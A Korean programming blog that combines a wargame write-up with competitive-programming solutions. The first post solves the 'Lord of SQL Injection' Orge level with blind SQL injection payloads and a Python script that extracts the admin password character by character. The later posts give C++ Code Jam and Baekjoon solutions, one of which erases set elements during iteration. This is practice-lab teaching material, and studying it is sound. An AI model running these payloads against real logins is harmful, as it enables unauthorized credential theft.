아인스트라세의 SW 블로그

Lord of SQL Injection Level 7 Orge 풀이입니다.

문제는 이렇게 생겼습니다.

보시면 두번째 if문에서 $result['pw'] == $_GET['pw']로 확인을 다시 하는데, 요녀석 때문에 여태까지 다른 방식처럼 인증만 우회하는 방식으로는 풀리지가 않습니다.

즉 admin의 패스워드를 알아내야 한다는 것이죠.

이때 사용되는 기법이 바로 Blind SQL Injection입니다.

장님이 코끼리 만지듯이 한다(?) 라는 식으로 Blind SQL Injection에 대해서 많이들 설명하는데요,

간단하게 설명하자면, True / False의 결과만 가지고 조합해서 정보를 알아내는 방식입니다.

예컨대, pw값에 다음 값을 넣는다고 생각해보죠

'||id='admin'&&length(pw)>1#

그러면 전체 쿼리는 다음처럼 됩니다.

select id from prob_orge where id='guest' and pw=''||id='admin'&&length(pw)>1#'

여기서 만약 id가 admin인 녀석의 pw의 길이가 1 초과라면 admin column이 리턴되면서 

<h2>Hello admin</h2>라는 문구를 보게 되죠.

이런식으로 숫자를 바꾸어가면서 admin의 pw길이를 유추할 수 있습니다.

대충 범위를 1 ~ 100정도 잡고 바이너리 서치를 하면 더 빠르게 찾을 수 있죠.

비슷한 방식으로, 길이를 알아냈으면 admin의 pw의 각각의 글자가 어떤 값을 찾는지 찾아낼 수 있습니다.

다음 값을 넣는다고 가정해봅시다.

'||id='admin'&&ascii(substring(pw, 1,1))>1#

그러면 전체 쿼리는 다음과 같게 됩니다.

select id from prob_orge where id='guest' and pw=''||id='admin'&&ascii(substring(pw, 3,1))>70#'

세번째 글자의 아스키값이 70보다 크면 True가 되어서 Hello admin 문구를 볼 수 있죠.

이런 방식으로 각각의 글자들을 다 알아내서 admin의 패스워드를 알아낼 수 있습니다.

이걸 다 손으로 하면 매우 귀찮으므로, 파이썬2 스크립트를 작성해서 풀이할 수 있습니다.

import urllib2

url = "https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php"
cookie = "PHPSESSID=put_your_login_session_token_here"
ua = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36"

truePhrase = "<h2>Hello admin</h2>"

def query(payload):
	uurl = url + "?pw=" + urllib2.quote(payload)
	req = urllib2.Request(uurl)
	req.add_header('cookie', cookie)
	req.add_header("User-Agent", ua)
	res = urllib2.urlopen(req)
	content = res.read(500)
	return truePhrase in content

# '||id='admin'&&length(pw)>1#
# '||id='admin'&&ascii(substring(pw, 1,1))>1#
def find_length():
	print "Finding length of the password..."
	left = 1
	right = 100
	while left < right:
		mid = (left+right)//2
		if query("'||id='admin'&&length(pw)>" + str(mid) +"#"):
			left = mid+1
		else:
			right = mid
	return right

def find_password(pos):
	print "Finding " + str(pos) + "th password..."
	left = 1
	right = 200
	while left < right:
		print (str(left) + "," + str(right))
		mid = (left+right)//2
		if query("'||id='admin'&&ascii(substr(pw," + str(pos) + ",1))>" + str(mid) + "#"):
			left = mid+1
		else:
			right = mid
	print (right)
	return chr(right)
length = find_length()
password = ""
for i in range(1, length+1):
	password += find_password(i)

print "gotcha!!!!"
print password

결론만 말하자면, 820등으로 Round 2로 진출

Round 1에서 1 Solved로 떨어진 작년과 비교하면 발전이 있기는 했었다.

이번 라운드는 오후 6시부터 8시 반까지 진행되었는데, 8시 30분부터 불꽃 축재를 보러 가야하기 때문에 사실상 8시까지만 문제를 풀 수 있었다.

최대한 집중해서 문제를 풀었는데, 배점을 확인해서 난이도가 1 < 2 < 3 인것을 알고 1번부터 풀이를 시작했다.

- Robot Programming Strategy

문제를 읽어보고 토너먼트 방식이라는 점에 꽤나 복잡한 문제라고 생각해보았는데, 사실 모든 적들을 다 이길 수 있는 조합을 만들어 내면 된다.

Strategy가 끝에 다달으면 다시 Cyclic하게 순환된다는 점에 유의해야 한다. Brute-Force로 Visible만 풀려고 했는데, 생각보다 N값이 작아서 Hidden 도 풀렸다.

#include <bits/stdc++.h>
using namespace std;
typedef long long ll;

set<string> enemy;
int main() {
	int tc; cin >> tc;
	for (int t = 1; t <= tc; t++) {
		int A;
		cin >> A;
		enemy.clear();
		string ans = "";
		bool ok = true;
		for (int i = 0; i < A; i++) {
			string s; cin >> s;
			enemy.insert(s);
		}
		for (int i = 0; i < 500; i++) {
			int R, S, P;
			R = S = P = 0;
			for (auto s : enemy) {
				char c = s[i % (int)s.length()];
				if (c == 'R') R++;
				else if (c == 'S') S++;
				else if (c == 'P') P++;
			}
			int C = 0;
			C += R > 0 ? 1 : 0;
			C += S > 0 ? 1 : 0;
			C += P > 0 ? 1 : 0;
			if (C == 3) {
				ok = false;
				break;
			}
			else if (C == 1) {
				if (R) ans += "P"; //바위에는 보
				else if (S) ans += "R"; //가위에는 바위
				else ans += "S"; //보에는 가위
				break;
			}
			else {
				//vector<string> victim;
				if (R == 0) { //보와 가위
					ans += "S";
					//i번째에 P인놈들 삭제
					for (auto s : enemy) {
						char c = s[i % (int)s.length()];
						if (c == 'P') {
						    enemy.erase(s);
							//victim.push_back(s);
						}
					}
				}
				else if (S == 0) {
					ans += "P"; //바위와 보
					//i번째에 R인놈들 삭제
					for (auto s : enemy) {
						char c = s[i % (int)s.length()];
						if (c == 'R') {
						    enemy.erase(s);
							//victim.push_back(s);
						}
					}
				}
				else if (P == 0) {
					ans += "R"; //가위와 바위
					//i번째에 S인놈들 삭제
					for (auto s : enemy) {
						char c = s[i % (int)s.length()];
						if (c == 'S') {
						    enemy.erase(s);
							//victim.push_back(s);
						}
					}
				}
				//for (auto s : victim) {
				//	enemy.erase(s);
				//}
				//victim.clear();
			}
		}

		printf("Case #%d: %s\n", t, ok == false ? "IMPOSSIBLE" : ans.c_str());
	}
}

- Power Arrangers

Permutation 순열 관련된 문제였다. 백준에서 K-번째 시리즈를 풀이하면서 대충 풀이가 영감이 왔는데 풀이는 다음과 같다.

나타난 순열들의 첫번째 글자들이 나타난 횟수를 모두 센다 -> 다 4!번(24) 나타나고 하나만 23번 나타난다. 그러면 23번 나타난 녀석이 첫번째 글자다.

23번 나타난 녀석들을 다시 확인해보면 나머지는 다 3!번(6) 나타나고 하나는 5번 나타난다. 그러면 두번째 글자를 알아낼 수 있다.

6번 나타난 녀석은 나머지는 2!번(2) 나타나고, 하나는 1번 나타난다. 세번째 글자는 1번 나타난 녀석이다.

마지막에는 1번 나타나게 되는데, 0번 나타난 녀석이 4번째 글자고 남는녀석이 5번째 글자가 된다.

Python으로 작성해보려다가 답답해서 다시 C++로 작성했다. Visible만 맞추고 갈려고 했는데 Hidden 도 맞는 솔루션이었다.

디버깅이 까다로웟는데, 파일 입출력으로 로그를 찍어서 확인하면서 디버깅했다.

#include <bits/stdc++.h>
using namespace std;
int value[] = {23, 5, 1, 0};
#define endl '\n'
int main() {
	// ofstream fout("output.txt");
	int T, F;
	setbuf(stdout, NULL);
	setbuf(stdin, NULL);
	cin >> T >> F;
	
	for (int t=1; t<=T; t++) {
		set<int> left;
		left.clear();
		left.insert(0);
		left.insert(1);
		left.insert(2);
		left.insert(3);
		left.insert(4);
		vector<int> index[5];
		vector<int> ans;
		int cnt[5];
		ans.clear();
		memset(cnt, 0, sizeof(cnt));
		for (int i=0; i < 5; i++) index[i].clear();
		
		for (int i=1; i <=595; i+=5) {
			cout << i << endl;
			string s;
			cin >> s;
			char c = s[0];
			cnt[c-'A']++;
			index[c-'A'].push_back(i);
		}
		int idx = 0;
		for (int i=0; i < 5; i++) {
			if (cnt[i] == value[0]) {
				idx = i;
				break;
			}
		}
		// fout << "CNT = {" << cnt[0] << "," << cnt[1] << "," << cnt[2] << "," <<cnt[3] << "," <<cnt[4] << "}" << endl;
		ans.push_back(idx);
		left.erase(idx);
		// fout << idx << endl;
		vector<int> next;
	
		for (int kk = 1; kk <4; kk++) {
			next.clear();
			for (int q : index[idx]) {
				next.push_back(q+1);
			}
			memset(cnt, 0, sizeof(cnt));
			for (int i=0; i < 5; i++) index[i].clear();

			for (auto i : next) {
				cout << i << endl;
				string s;
				cin >> s;
				// if (kk == 2) {
				// 	fout << "query = " << i << endl;
				// 	fout << s << endl;
				// }
				char c = s[0];
				cnt[c-'A']++;
				index[c-'A'].push_back(i);
			}
			
			for (int i=0; i < 5; i++) {
				if (cnt[i] == value[kk] && left.find(i) != left.end()) {
					idx = i;
					break;
				}
			}
			ans.push_back(idx);
			left.erase(idx);
			// fout << "IDX = " << idx << endl;
			
			// fout << "CNT = {" << cnt[0] << "," << cnt[1] << "," << cnt[2] << "," <<cnt[3] << "," <<cnt[4] << "}" << endl;
		}
		if (left.size() == 1) {
			for (auto v : left) {
				ans.push_back(v);
			}
		}
		//ans.push_back(10 - ss);
		
		string ans_str = "";
		for (int a : ans) {
			ans_str += (char)(a + 'A');
		}
		
		cout << ans_str << endl;
		string res;
		cin >> res;
		if (res[0] == 'N') return 0;
	}
}

2번문제까지 풀이하고 나니 8시 10분정도 되어서 곧바로 부리나케 뛰쳐나갔다.

3번문제는 대회때는 문제도 읽지 못한 셈. 나중에 3번 문제도 풀어보도록 하겠다.

https://www.acmicpc.net/problem/1700

컴공 학부 전공과목 운영체제 수업에서 프로세스 스케쥴링을 배울 때, MIN 알고리즘이었나, 이름은 정확하게 기억이 안나는데 그런 알고리즘 이 하나있었다.

특징이라고 하면, 지금 멀티탭 스케줄링과 같이, 제한된 리소스에 순차적으로 프로세스들을 실행을 할 때, 멀티탭에서 빼는 것 처럼, 메모리에 로드된 프로세스를 제거하는 횟수를 최소화 하는 알고리즘 중, 실제로 최적이라고 수학적으로 증명된 스케쥴링 기법이다.

하지만, 이 알고리즘을 사용하려면 제약 조건이 하나 있는데, 앞으로 미래에 프로세스가 어떤것이 먼저 실행될 것인지를 전부 알아야 한다는 점이다. 따라서 성능 측정에서만 사용한다고 들었다.

요놈 알고리즘의 특징은, 프로세스를 제거해야 하는 상황일 때에는, 앞으로 사용되기 까지 가장 오래 걸리는 프로세스를 제거하는 식으로 동작한다. 앞으로 사용되지 않는 프로세스라면 우선순위 1순위로 제거될 것이다.

#include <bits/stdc++.h>
using namespace std;
vector<int> O[101];
int ptr[101];
vector<int> A;
set<int> tap;
int main() {
	int N, K;
	cin >> N >> K;
	for (int i = 0; i < K; i++) {
		int t;
		cin >> t;
		A.push_back(t);
		O[t].push_back(i);
	}
	int ans = 0;
	for (int i = 0; i < K; i++) {
		auto cur = A[i];
		if (tap.size() >= N && tap.find(cur) == tap.end()) {
			//should remove
			int victim, val;
			victim = -1, val = 0;
			for (auto& t : tap) {
				if (O[t].size() <= ptr[t]) {
					victim = t;
					break;
				}
				if (val < O[t][ptr[t]]) {
					val = O[t][ptr[t]];
					victim = t;
				}
			}
			ans++;
			tap.erase(victim);
		}
		ptr[cur]++;
		tap.insert(cur);
	}
	cout << ans << endl;
	return 0;

}